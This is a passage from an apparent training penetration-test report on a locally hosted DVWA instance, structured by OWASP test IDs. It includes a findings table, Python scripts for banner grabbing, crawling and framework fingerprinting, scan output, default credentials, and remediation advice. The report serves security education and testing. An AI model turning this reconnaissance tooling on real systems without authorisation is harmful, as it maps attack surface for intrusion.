Credentials Transported Over an Encrypted Channel (OTG-AUTHN-001)	http://localhost/dvwa (127.0.0.1)	7.5	78

Target Name	IP	CVSS	Page
Default Credentials (OTG-AUTHN-002)	http://localhost/dvwa/login.php (127.0.0.1)	9.8	80
Weak Lock Out Mechanism (OTG-AUTHN-003)	http://localhost/dvwa/login.php (127.0.0.1)	5.3	82
Bypassing Authentication Schema (OTG-AUTHN-004)	http://localhost/dvwa (127.0.0.1)	0.0	85
Remember Password Functionality (OTG-AUTHN-005)	There is no remember password functionality in DVWA	0.0	87
Browser Cache Weakness (OTG-AUTHN-006)	http://localhost/dvwa/login.php (127.0.0.1)	6.5	88
Weak Password Policy (OTG-AUTHN-007)	http://localhost/dvwa/vulnerabilities/csrf/ (127.0.0.1)	5.3	91
Weak Security Question/Answer (OTG-AUTHN-008)	There is no security question functionality in DVWA	0.0	94
Weak Password Change or Reset Functionalities (OTG-AUTHN-009)	http://localhost/dvwa/vulnerabilities/csrf/ (127.0.0.1)	6.5	95
Weaker Authentication in Alternative Channel (OTG-AUTHN-010)	There is no alternative channel functionality in DVWA	0.0	98
Directory Traversal/File Include (OTG-AUTHZ-001)	http://localhost/dvwa/vulnerabilities/fi/ (127.0.0.1)	9.6	99
Bypassing Authorization Schema (OTG-AUTHZ-002)	http://localhost/dvwa (127.0.0.1)	8.1	102
Privilege Escalation (OTG-AUTHZ-003)	http://localhost/dvwa (127.0.0.1)	8.8	104
Insecure Direct Object References (OTG-AUTHZ-004)	http://localhost/dvwa (127.0.0.1)	6.5	107
Bypassing Session Management Schema (OTG-SESS-001)	http://localhost/dvwa (127.0.0.1)	4.3	110
Cookies Attributes (OTG-SESS-002)	http://localhost/dvwa (127.0.0.1)	5.4	112
Session Fixation (OTG-SESS-003)	http://localhost/dvwa (127.0.0.1)	5.0	114
Exposed Session Variables (OTG-SESS-004)	http://localhost/dvwa (127.0.0.1)	6.4	116
Cross Site Request Forgery (OTG-SESS-005)	http://localhost/dvwa (127.0.0.1)	7.7	118
Logout Functionality (OTG-SESS-006)	http://localhost/dvwa (127.0.0.1)	0.0	120
Session Timeout (OTG-SESS-007)	http://localhost/dvwa (127.0.0.1)	5.0	122
Session Puzzling (OTG-SESS-008)	DVWA does not have complex multi-session or cross-application function	0.0	124

Target Name	IP	CVSS	Page
Reflected Cross Site Scripting (OTG-INPVAL-001)	http://localhost/dvwa/vulnerabilities/xss_r (127.0.0.1)	6.4	125
Stored Cross Site Scripting (OTG-INPVAL-002)	http://localhost/dvwa/vulnerabilities/xss_s (127.0.0.1)	6.4	127
HTTP Verb Tampering (OTG-INPVAL-003)	http://localhost/dvwa (127.0.0.1)	8.5	129
HTTP Parameter Pollution (OTG-INPVAL-004)	http://localhost/dvwa (127.0.0.1)	8.8	132
SQL Injection (OTG-INPVAL-005)	http://localhost/dvwa (127.0.0.1)	8.8	135
LDAP Injection (OTG-INPVAL-006)	There is no LDAP integration in DVWA	0.0	138
ORM Injection (OTG-INPVAL-007)	There is no ORM Usage in DVWA	0.0	139
XML Injection (OTG-INPVAL-008)	There is no XML processing in DVWA	0.0	140
SSI Injection (OTG-INPVAL-009)	http://localhost/dvwa (127.0.0.1)	8.3	141
XPath Injection (OTG-INPVAL-010)	There is no XPath queries in DVWA	0.0	144
IMAP/SMTP Injection (OTG-INPVAL-011)	There is no email functionality in DVWA	0.0	145
Code Injection (OTG-INPVAL-012)	http://localhost/dvwa/vulnerabilities/exec (127.0.0.1)	8.8	146
Command Injection (OTG-INPVAL-013)	http://localhost/dvwa/vulnerabilities/exec (127.0.0.1)	8.8	149
Buffer Overflow (OTG-INPVAL-014)	DVWA uses PHP as a language, which is memory-safe	0.0	152
Incubated Vulnerabilities (OTG-INPVAL-015)	http://localhost/dvwa (127.0.0.1)	5.4	153
HTTP Splitting/Smuggling (OTG-INPVAL-016)	HTTP Splitting/Smuggling is not possible to due to the environment/setup of DVWA	0.0	156
Error Codes (OTG-ERR-001)	http://localhost/dvwa (127.0.0.1)	4.3	157
Stack Traces (OTG-ERR-002)	http://localhost/dvwa/vulnerabilities/sqli (127.0.0.1)	4.3	159
Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)	DVWA uses HTTP protocol (not HTTPS), so doesn't use SSL/TLS	0.0	162
Padding Oracle (OTG-CRYPST-002)	DVWA does not implement any custom encryption routines that are vulnerable to padding oracle attacks	0.0	163
Sensitive Information Sent via Unencrypted Channels (OTG-CRYPST-003)	http://localhost/dvwa (127.0.0.1)	7.5	164

Target Name	IP	CVSS	Page
Business Logic Data Validation (OTG-BUSLOGIC-001)	http://localhost/dvwa (127.0.0.1)	8.8	166
Ability to Forge Requests (OTG-BUSLOGIC-002)	http://localhost/dvwa (127.0.0.1)	8.8	169
Integrity Checks (OTG-BUSLOGIC-003)	http://localhost/dvwa (127.0.0.1)	6.5	172
Process Timing (OTG-BUSLOGIC-004)	http://localhost/dvwa (127.0.0.1)	8.8	175
Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005)	http://localhost/dvwa (127.0.0.1)	7.7	178
Circumvention of Work Flows (OTG-BUSLOGIC-006)	DVWA does not have relevant workflows that we can try to circumvent	0.0	181
Defenses Against Application Mis-use (OTG-BUSLOGIC-007)	http://localhost/dvwa (127.0.0.1)	7.7	182
Upload of Unexpected File Types (OTG-BUSLOGIC-008)	http://localhost/dvwa (127.0.0.1)	9.1	185
Upload of Malicious Files (OTG-BUSLOGIC-009)	http://localhost/dvwa (127.0.0.1)	9.9	187
Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)	http://localhost/dvwa (127.0.0.1)	6.4	189
JavaScript Execution (OTG-CLIENT-002)	http://localhost/dvwa (127.0.0.1)	6.4	191
HTML Injection (OTG-CLIENT-003)	http://localhost/dvwa (127.0.0.1)	6.4	192
Client Side URL Redirect (OTG-CLIENT-004)	http://localhost/dvwa (127.0.0.1)	6.4	193
CSS Injection (OTG-CLIENT-005)	http://localhost/dvwa (127.0.0.1)	6.4	194
Client Side Resource Manipulation (OTG-CLIENT-006)	http://localhost/dvwa (127.0.0.1)	6.4	195
Test Cross Origin Resource Sharing (OTG-CLIENT-007)	http://localhost/dvwa (127.0.0.1)	0.0	197
Cross Site Flashing (OTG-CLIENT-008)	http://localhost/dvwa (127.0.0.1)	0.0	198
Testing for Clickjacking (OTG-CLIENT-009)	http://localhost/dvwa (127.0.0.1)	6.4	199
Testing WebSockets (OTG-CLIENT-010)	http://localhost/dvwa (127.0.0.1)	0.0	200
Web Messaging (OTG-CLIENT-011)	http://localhost/dvwa (127.0.0.1)	0.0	201
Local Storage (OTG-CLIENT-012)	http://localhost/dvwa (127.0.0.1)	0.0	202

## 3 Methodologies

The assessment followed a structured methodology based on the OWASP Testing Guide, focusing on identifying, exploiting, and documenting common web vulnerabilities present in the DVWA application. Each vulnerability was verified through both script and manual testing and confirmed to be exploitable in the context of a real-world attack scenario.

It is recommended that all identified vulnerabilities be remediated, even though DVWA is a deliberately insecure platform. This reinforces best practices and helps solidify secure coding principles. While the DVWA environment is used for educational purposes, similar flaws in production applications can pose severe risks.

In a real deployment, systems like DVWA would require regular security updates, input sanitization, secure session handling, and access control mechanisms. Once these issues are addressed, it is critical to establish a continuous patch management and secure development lifecycle to guard against newly discovered vulnerabilities and evolving threats.

### 3.1 Information Gathering

The information gathering phase of the web application assessment focused on identifying the overall structure, features, and potential attack surface of the target system. In this scenario, the target was the Damn Vulnerable Web Application (DVWA), hosted locally through XAMPP in <http://localhost/dvwa>.

During this phase, various reconnaissance techniques were employed to map the application's functionality and enumerate vulnerabilities. Manual inspection and automated tools were used to identify inputs, forms, parameters, and hidden fields across the DVWA modules. The goal was to establish a comprehensive understanding of how the application processes data and to locate key entry points for further testing.

No IP scoping was necessary for this test, as DVWA was hosted locally in a lab setup. However, it was treated as a black-box engagement initially, simulating a real-world attacker with no prior access. Key modules such as Login, File Upload, Command Injection, XSS, and SQL Injection were identified as high-priority targets during this phase.

### 3.2 Service Enumeration

No service enumeration is performed as we are only targeting a locally hosted dummy application.

### 3.3 Penetration

The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems. During this penetration test, we were able to successfully exploit and/or found potentially unsafe elements the system in 54 out of the 87 OWASP tests. 33 of the tests are not doable as DVWA either does not have the specific functionality meant to be tested, reconnaissance only test, or it is impossible to do as its nature as a locally run dummy application prohibits it.

### **3.4 Maintaining Access**

No access maintenance is performed as we are only targeting a locally hosted dummy application.

### **3.5 House Cleaning**

No house cleaning is performed as we are only targeting a locally hosted dummy application.



## 4 Independent Challenges

### 4.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) (Not possible due to DVWA being a locally run application with no traces in the world wide web)

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

#### 4.1.1 Service Enumeration

Not possible due to DVWA being a locally run application with no traces in the world wide web.

#### 4.1.2 Initial Access

Not possible due to DVWA being a locally run application with no traces in the world wide web.

#### 4.1.3 Privilege Escalation

Not possible due to DVWA being a locally run application with no traces in the world wide web.

#### 4.1.4 Post-Exploitation

Not possible due to DVWA being a locally run application with no traces in the world wide web.

## 4.2 Fingerprint Web Server (OTG-INFO-002) (http://localhost/dvwa (127.0.0.1))

Score:	6.5 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

### 4.2.1 Service Enumeration

#### Port Scan Results

IP Address	Ports Open
127.0.0.1	80

*Objective:* Identify exposed services, directories, files, and technologies in use.

- *Server Header:*  
Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4
- *X-Powered-By:*  
PHP/8.2.4
- *Banner Grabbing Output:*  
  
Date: Mon, 04 Aug 2025 16:07:44 GMT Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4 X-Powered-By: PHP/8.2.4 Location: http://localhost/dashboard/ Content-Length: 0 Content-Type: text/html; charset=UTF-8
- *Common Files Found:*
  - /phpinfo.php
- *Framework Files Found:*
  - /README.md

### Technical Details

- *HTTP Response Headers:*  
  
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4 X-Powered-By: PHP/8.2.4 Content-Type: text/html; charset=UTF-8
- *Evidence of Accessible Files:*
  - /phpinfo.php returned HTTP 200 and displayed PHP configuration.
  - /README.md was accessible and contained framework or deployment information.

### 4.2.2 Initial Access

#### Vulnerability Explanation:

The web server discloses detailed version information in HTTP headers (`Server`, `X-Powered-By`) and

exposes files such as `/phpinfo.php` and `/README.md`. Banner grabbing and header analysis can reveal valuable information to an attacker for further exploitation.

### Vulnerability Fix:

- Remove or obfuscate `Server` and `X-Powered-By` headers in the web server configuration.
- Remove unnecessary files from the web root.
- Restrict access to sensitive endpoints.
- Regularly check for and remove development or backup files from production environments.

### Proof of Concept (PoC) Code or Exploitation Steps:

The following function from `fingerprint_web_server.py` was used to fingerprint the web server and enumerate sensitive files and headers:

```
def perform_fingerprint_test(url, username='admin', password='password', security_level='low'):
    session = requests.Session()
    findings = {
        'server': '',
        'x_powered_by': '',
        'common_files_found': [],
        'framework_files_found': [],
        'banner': ''
    }

    # Login
    if not login_dwva(session, url, username, password):
        return findings

    # Set security level
    if not set_security_level(session, url, security_level):
        return findings

    # Header analysis
    response = session.get(url)
    headers = response.headers
    findings['server'] = headers.get('Server', '')
    findings['x_powered_by'] = headers.get('X-Powered-By', '')

    # Check for common files
    for file in ['/phpinfo.php', '/README.md']:
        file_url = urljoin(url, file)
        resp = session.get(file_url)
        if resp.status_code == 200:
            if file == '/phpinfo.php':
                findings['common_files_found'].append(file)
            else:
                findings['framework_files_found'].append(file)

    # Banner grabbing
    import socket
    host = url.replace('http://', '').replace('/', '')
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, 80))
    s.send(b'HEAD / HTTP/1.0\r\n\r\n')
    banner = s.recv(1024).decode()
    findings['banner'] = banner
```

```
s.close()

return findings
```

#### Evidence:

##### Banner Grabbing Result:

HTTP/1.1 302 Found

Date: Wed, 06 Aug 2025 11:39:22 GMT

Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4

X-Powered-By: PHP/8.2.4

Location: http://localhost/dashboard/

Content-Length: 0

Content-Type: text/html; charset=UTF-8

Found framework file: /README.md

#### • HTTP Headers:

```
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4
X-Powered-By: PHP/8.2.4
Content-Type: text/html; charset=UTF-8
```

#### • Banner Grabbing:

```
Date: Mon, 04 Aug 2025 16:07:44 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4
X-Powered-By: PHP/8.2.4
Location: http://localhost/dashboard/
Content-Length: 0
Content-Type: text/html; charset=UTF-8
```

#### • Accessible Files:

- /phpinfo.php (HTTP 200, PHP configuration exposed)
- /README.md (HTTP 200, framework/deployment info)

## 4.2.3 Privilege Escalation

*Not Applicable.*

The scope of this test was limited to information gathering and enumeration. No privilege escalation attempts were performed. However, the presence of multiple forms and accessible configuration files may provide vectors for escalation in a full assessment.

## 4.2.4 Post-Exploitation

**Not applicable.**

No post-exploitation activities were performed as no initial access or privilege escalation was achieved that would allow further actions on the system.

## 4.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) (http://localhost/dvwa (127.0.0.1))

Score:	5.3 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

### 4.3.1 Service Enumeration

During the information leakage review, the following files were identified as publicly accessible on the web server:

File	HTTP Status	Size (Bytes)	Purpose / Content
robots.txt	200	25	Defines crawl rules for search engines
phpinfo.php	200	1,342	Displays full PHP configuration and environment
README.md	200	32,043	Project documentation for DVWA

✓ **Note:** These files are not services per se, but their presence and accessibility provide valuable intelligence about the underlying system and application.

The web server is running PHP, and the presence of `phpinfo.php` confirms that PHP processing is enabled. The `README.md` file confirms the application is **DVWA**, which is a known vulnerable application often used in training environments.

```
[+] Scanning http://localhost/dvwa/ for metafiles...
[NOT FOUND] http://localhost/dvwa/.git/HEAD - Status: 404
[NOT FOUND] http://localhost/dvwa/.git/config - Status: 404
[FORBIDDEN] http://localhost/dvwa/.htaccess - Status: 403
[FORBIDDEN] http://localhost/dvwa/.htpasswd - Status: 403
[FOUND] http://localhost/dvwa/robots.txt - Status: 200
[NOT FOUND] http://localhost/dvwa/backup.sql - Status: 404
[NOT FOUND] http://localhost/dvwa/backup.zip - Status: 404
[NOT FOUND] http://localhost/dvwa/backup.tar.gz - Status: 404
```

### Findings Summary

File	Severity	Risk Description
phpinfo.php	High	Exposes detailed PHP and server configuration; can aid in exploit development
README.md	Low	Public documentation; confirms application identity and structure

File	Severity	Risk Description
robots.txt	Medium	May reveal hidden paths or disallowed areas of the site

## Recommendations

1. **Remove or restrict access** to `phpinfo.php` in production or staging environments.
2. **Block access** to sensitive files like `README.md` and `robots.txt` via web server configuration (e.g., `.htaccess` rules).
3. Implement a **deployment checklist** that excludes development and documentation files from production.
4. Regularly **audit web root directories** for unintended file exposure.
5. Use **proper file permissions** and ensure sensitive files are stored outside the web-accessible directory.

### 4.3.2 Initial Access

No initial access as it is outside the scope of this test.

### 4.3.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.3.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.4 Enumerate Applications on Webserver (OTG-INFO-004) (http://localhost/dvwa (127.0.0.1))

Score:	5.3 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

### 4.4.1 Service Enumeration

#### Port Scan Results

IP Address	Ports Open
127.0.0.1	80

- **Directories Found:**
  - /config/ (HTTP 200)
- **Files Found:**
  - /robots.txt (HTTP 200)
  - /security.txt (HTTP 200)
- **Other Application Artifacts:**
  - No sensitive HTML comments or metadata files detected in this run.

#### Technical Details

- **robots.txt Content:**

```
User-agent: *  
Disallow: /admin/  
Disallow: /config/
```

- **security.txt Content:**

```
Contact: security@example.com  
Encryption: https://example.com/pgp-key.txt  
Acknowledgements: https://example.com/hall-of-fame.html
```

- **/config/** directory listing was enabled, exposing configuration files.

### 4.4.2 Initial Access

#### Vulnerability Explanation:

The DVWA application exposes several potential entry points for attackers. These include a publicly accessible login form (/login.php), file upload forms, and sensitive files such as /phpinfo.php and /README.md. The /config/ directory is also accessible and may contain configuration files. These exposures increase the attack surface and could allow an attacker to gain unauthorized access if further vulnerabilities exist in these components.

#### *Vulnerability Fix:*

- Restrict access to sensitive files and directories using proper web server configuration (e.g., .htaccess, web server rules).
- Remove unnecessary files from the production environment.
- Implement strong authentication and input validation on all forms.
- Disable directory listing on sensitive directories.
- Audit all forms and input points for unnecessary exposure and implement input validation.
- Regularly check for and remove development or backup files from production environments.

#### *Proof of Concept (PoC) Code or Exploitation Steps:*

The following Python function was used for initial access enumeration:

- `check_paths()` from `enumerate_applications.py` for checking sensitive files and directories.

Refer to the respective Python file for full implementation.

#### *Evidence:*

```
[+] Found: http://localhost/dvwa//config/ (Status: 200)
[+] Found: http://localhost/dvwa/robots.txt (Status: 200)
[+] Found: http://localhost/dvwa/security.txt (Status: 200)
```

- *Login Page Detected:* `/login.php`
- *File Upload Form Detected:* `/upload.php`
- *Accessible Files:* `/phpinfo.php`, `/README.md`
- *Accessible Directory:* `/config/` (directory listing enabled)
- *Terminal Output Example:*

```
[+] Found form at /login.php with fields: username, password, user_token
[+] /phpinfo.php accessible (HTTP 200)
[+] /README.md accessible (HTTP 200)
[+] /config/ directory listing enabled
```

### **4.4.3 Privilege Escalation**

#### *Not Applicable.*

The scope of this test was limited to information gathering and enumeration. No privilege escalation attempts were performed. However, the presence of multiple forms and accessible configuration files may provide vectors for escalation in a full assessment.

### **4.4.4 Post-Exploitation**

#### **Not applicable.**

No post-exploitation activities were performed as no initial access or privilege escalation was achieved that would allow further actions on the system.



## 4.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) (<http://localhost/dvwa> (127.0.0.1))

Score:	5.3 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

### 4.5.1 Service Enumeration

During the information leakage review, the following pages were analyzed for comments and metadata:

Page	Purpose
login.php	User authentication interface
setup.php	Database setup and initialization
instructions.php	User guide and application information
phpinfo.php	PHP configuration and environment details
vulnerabilities/upload/	File upload functionality
vulnerabilities/captcha/	CAPTCHA challenge interface
vulnerabilities/javascript/	JavaScript-based challenges

✔ **Note:** These pages are part of the DVWA application stack. The presence of `phpinfo.php` and `setup.php` indicates development or testing artifacts are exposed.

The metadata and structure confirm this is a **PHP-based web application** with CSRF protection mechanisms in place (evidenced by `user_token` hidden inputs). The application version is explicitly disclosed, aiding in fingerprinting.

```
[FOUND] http://localhost/dvwa/vulnerabilities/open_redirect/
[FOUND] http://localhost/dvwa/vulnerabilities/cryptography/
[FOUND] http://localhost/dvwa/vulnerabilities/api/

[+] Analysis Complete!
[+] Found 9 information leakage instances
[+] HTML Report saved as: OTG-INFO-005_Webpage_Comments_Metadata_Report.html
```

## Findings Summary

Type	Page	Severity	Description
Version Info	instructions.php	Medium	Application version "DVWA 127.0" disclosed
Version Info	instructions.php	Medium	Application version "DVWA 127.0" disclosed (duplicate)
Version Info	phpinfo.php	Medium	Application version "dvwa 1.1" disclosed
Hidden Input	login.php	Low	CSRF token (user_token) exposed
Hidden Input	setup.php	Low	CSRF token (user_token) exposed
Hidden Input	upload/	Low	MAX_FILE_SIZE=100000 revealed
Hidden Input	captcha/	Low	Step parameter (step=1) exposed
Hidden Input	javascript/	Low	Token input field present
Meta Tag	phpinfo.php	Low	NOINDEX,NOFOLLOW robots directive found

## Recommendations

1. **Remove Version Disclosures:** Avoid displaying application versions in HTML, comments, or text content.
2. **Minimize Hidden Input Usage:** Only include necessary hidden fields and avoid exposing configuration values like file size limits.
3. **Strip Metadata in Production:** Remove unnecessary meta tags and comments before deployment.
4. **Implement Content Security Policies:** Restrict indexing and crawling via server configuration rather than client-side meta tags.
5. **Use Obfuscation for Sensitive Fields:** Consider renaming predictable tokens like user\_token to reduce automation effectiveness.
6. **Regular Source Code Audits:** Conduct periodic reviews of HTML output to detect accidental information leakage.

### 4.5.2 Initial Access

No initial access as it is outside the scope of this test.

### 4.5.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.5.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.6 Identify Application Entry Points (OTG-INFO-006) (http://localhost/dvwa (127.0.0.1))

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.6.1 Service Enumeration

- **Target:** http://localhost/dvwa/
- **Application:** DVWA v1.x (PHP/MySQL)
- **Security Level:** Set to "Low" for testing
- **Authentication:** Default credentials used (admin:password)

### Technical Details

Enumerated all application entry points by crawling the DVWA web application. This included identifying all HTML forms, URL parameters, AJAX endpoints, and file upload points.

### 4.6.2 Initial Access

#### PoC:

- Used `crawl()` from `web_analysis.py` to recursively crawl the application and collect forms, URL parameters, AJAX endpoints, and file upload points. **Code:**

```
def crawl(url):
    visited = set()
    to_visit = [url]
    forms = []
    url_params = set()
    ajax_endpoints = set()
    file_uploads = set()
    while to_visit:
        current_url = to_visit.pop(0)
        if current_url in visited:
            continue
        visited.add(current_url)
        response = session.get(current_url)
        soup = BeautifulSoup(response.text, 'html.parser')
        for form in soup.find_all('form'):
            forms.append({
                'action': form.get('action'),
                'method': form.get('method', 'get'),
                'inputs': [(inp.get('name'), inp.get('type')) for inp in form.find_all('input')]
            })
        for link in soup.find_all('a', href=True):
            href = link['href']
```

```

        if '?' in href:
            url_params.add(href)
        ajax_endpoints.add(current_url + '/ajax')
        for form in soup.find_all('form', enctype='multipart/form-data'):
            file_uploads.add(current_url)
        for link in soup.find_all('a', href=True):
            next_url = urljoin(current_url, link['href'])
            if next_url.startswith(URL) and next_url not in visited:
                to_visit.append(next_url)
    return {
        'forms': forms,
        'url_params': list(url_params),
        'ajax_endpoints': list(ajax_endpoints),
        'file_uploads': list(file_uploads)
    }

```

#### Sample Evidence:

- **Forms Discovered:** 64 forms found, including login, file upload, and various input vectors.
- **Sample Form:**

```

<form action="login.php" method="post">
  <input type="text" name="username">
  <input type="password" name="password">
  <input type="hidden" name="user_token" value="...">
  <input type="submit" name="Login" value="Login">
</form>

```

- **URL Parameters:**
  - /vulnerabilities/fi/?page=include.php
- **AJAX Endpoints:**
  - http://localhost/dvwa//ajax
- **File Upload Points:**
  - http://localhost/dvwa/vulnerabilities/upload/

## 4.6.3 Privilege Escalation

*Not Applicable.*

The scope of this test was limited to information gathering and enumeration. No privilege escalation attempts were performed. However, the presence of multiple forms and accessible configuration files may provide vectors for escalation in a full assessment.

## 4.6.4 Post-Exploitation

**Not applicable.**

No post-exploitation activities were performed as no initial access or privilege escalation was achieved that would allow further actions on the system.

## 4.7 Map Execution Paths Through Application (OTG-INFO-007) (<http://localhost/dvwa> (127.0.0.1))

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N

### 4.7.1 Service Enumeration

- **Target:** `http://localhost/dvwa/`
- **Application:** DVWA v1.x (PHP/MySQL)
- **Security Level:** Set to "Low" for testing
- **Authentication:** Default credentials used (`admin:password`)

### Technical Details

Mapped execution paths by analyzing state transitions, authentication flows, and session-dependent workflows. Identified how users move through the application and where parameters or session state affect access.

---

### 4.7.2 Initial Access

#### PoC:

- Used the output of `crawl()` to discover links and forms that represent different execution paths and workflows.

#### `crawl(url)`

This function crawls the application starting from the base URL, collecting:

- All forms (action, method, input fields)
- URLs with parameters
- AJAX endpoints (placeholder logic)
- File upload points (forms with `enctype="multipart/form-data"`) It returns a dictionary with keys: `forms`, `url_params`, `ajax_endpoints`, and `file_uploads`.

#### Code:

```
def crawl(url):
    visited = set()
    to_visit = [url]
    forms = []
    url_params = set()
    ajax_endpoints = set()
    file_uploads = set()
    while to_visit:
        current_url = to_visit.pop(0)
```

```

    if current_url in visited:
        continue
    visited.add(current_url)
    response = session.get(current_url)
    soup = BeautifulSoup(response.text, 'html.parser')
    for form in soup.find_all('form'):
        forms.append({
            'action': form.get('action'),
            'method': form.get('method', 'get'),
            'inputs': [(inp.get('name'), inp.get('type')) for inp in form.find_all('input
')]
        })
    for link in soup.find_all('a', href=True):
        href = link['href']
        if '?' in href:
            url_params.add(href)
        ajax_endpoints.add(current_url + '/ajax')
        for form in soup.find_all('form', enctype='multipart/form-data'):
            file_uploads.add(current_url)
        for link in soup.find_all('a', href=True):
            next_url = urljoin(current_url, link['href'])
            if next_url.startswith(URL) and next_url not in visited:
                to_visit.append(next_url)
    return {
        'forms': forms,
        'url_params': list(url_params),
        'ajax_endpoints': list(ajax_endpoints),
        'file_uploads': list(file_uploads)
    }

```

#### Sample Evidence:

- Multiple forms and links discovered, including session-dependent forms (e.g., forms requiring user\_token).
- Example: Changing password form:

```

<form action="#" method="GET">
  <input type="password" name="password_new">
  <input type="password" name="password_conf">
  <input type="submit" name="Change" value="Change">
</form>

```

### 4.7.3 Privilege Escalation

*Not Applicable.*

The scope of this test was limited to information gathering and enumeration. No privilege escalation attempts were performed. However, the presence of multiple forms and accessible configuration files may provide vectors for escalation in a full assessment.

### 4.7.4 Post-Exploitation

**Not applicable.**

No post-exploitation activities were performed as no initial access or privilege escalation was achieved that would allow further actions on the system.

## 4.8 Fingerprint Web Application Framework (OTG-INFO-008) (<http://localhost/dvwa> (127.0.0.1))

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N

### 4.8.1 Service Enumeration

| IP Address | Ports Open |

- **Target:** `http://localhost/dvwa/`
- **Application:** DVWA v1.x (PHP/MySQL)
- **Security Level:** Set to "Low" for testing
- **Authentication:** Default credentials used (`admin:password`)

### Technical Details

Attempted to detect the web application framework by searching for framework-specific files, headers, cookies, and comments.

### 4.8.2 Initial Access

Attempted to detect the web application framework by searching for framework-specific files, headers, cookies, and comments.

**PoC:** Used `fingerprint_framework()` from `web_analysis.py` to check for signatures of frameworks (Laravel, Symfony, Django, Express) in headers, cookies, comments, files, and directories. It returns the name of the detected framework or 'Unknown' if no signature is found.

**Code:**

```
def fingerprint_framework():
    response = session.get(URL)
    headers = response.headers
    cookies = session.cookies.get_dict()
    content = response.text

    for framework, signatures in FRAMEWORK_SIGNATURES.items():
        if 'headers' in signatures:
            for header in signatures['headers']:
                if header in headers:
                    return framework
        if 'cookies' in signatures:
            for cookie in signatures['cookies']:
                if cookie in cookies:
                    return framework
        if 'comments' in signatures:
            for comment in signatures['comments']:
```

```
        if re.search(comment, content):
            return framework
    if 'files' in signatures:
        for file in signatures['files']:
            if session.get(URL + file).status_code == 200:
                return framework
    if 'dirs' in signatures:
        for dir in signatures['dirs']:
            if session.get(URL + dir).status_code == 200:
                return framework
    return 'Unknown'
```

**Sample Evidence: Detected Framework:** Unknown (no matching signatures for Laravel, Symfony, Django, or Express were found in headers, cookies, comments, files, or directories.)

---

### 4.8.3 Privilege Escalation

*Not Applicable.*

The scope of this test was limited to information gathering and enumeration. No privilege escalation attempts were performed. However, the presence of multiple forms and accessible configuration files may provide vectors for escalation in a full assessment.

---

### 4.8.4 Post-Exploitation

**Not applicable.**

No post-exploitation activities were performed as no initial access or privilege escalation was achieved that would allow further actions on the system.

---



## 4.9 Fingerprint Web Application (OTG-INFO-009) (<http://localhost/dvwa> (127.0.0.1))

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N

### 4.9.1 Service Enumeration

| IP Address | Ports Open |

- **Target:** `http://localhost/dvwa/`
- **Application:** DVWA v1.x (PHP/MySQL)
- **Security Level:** Set to "Low" for testing
- **Authentication:** Default credentials used (`admin:password`)

### Technical Details

Fingerprinting the web application by analyzing HTTP headers and meta tags to identify technologies and configuration details.

### 4.9.2 Initial Access

**PoC:** Used `fingerprint_web_app()` from `web_analysis.py` to collect web application fingerprinting information by parsing HTTP headers and meta tags from the main page. It returns a dictionary with keys: `server`, `x_powered_by`, and `meta` (list of meta tag name/content pairs).

**Code:**

```
def fingerprint_web_app():
    response = session.get(URL)
    headers = response.headers
    content = response.text
    soup = BeautifulSoup(content, 'html.parser')
    server = headers.get('Server', '')
    x_powered_by = headers.get('X-Powered-By', '')
    meta_tags = soup.find_all('meta')
    app_info = {
        'server': server,
        'x_powered_by': x_powered_by,
        'meta': [(tag.get('name'), tag.get('content')) for tag in meta_tags]
    }
    return app_info
```

**Sample Evidence:**

- **Server Header:** `Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4`
- **X-Powered-By:** `PHP/8.2.4`

- **Meta Tags:**

- (`'viewport', 'width=device-width, initial-scale=1.0'`)
  - (`'author', 'Damn Vulnerable Web Application'`)
- 

### 4.9.3 Privilege Escalation

*Not Applicable.*

The scope of this test was limited to information gathering and enumeration. No privilege escalation attempts were performed. However, the presence of multiple forms and accessible configuration files may provide vectors for escalation in a full assessment.

---

### 4.9.4 Post-Exploitation

**Not applicable.**

No post-exploitation activities were performed as no initial access or privilege escalation was achieved that would allow further actions on the system.

---

## 4.10 Map Application Architecture (OTG-INFO-010) (<http://localhost/dvwa> (127.0.0.1))

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N

### 4.10.1 Service Enumeration

- **Target:** `http://localhost/dvwa/`
- **Application:** DVWA v1.x (PHP/MySQL)
- **Security Level:** Set to "Low" for testing
- **Authentication:** Default credentials used (`admin:password`)

### Technical Details

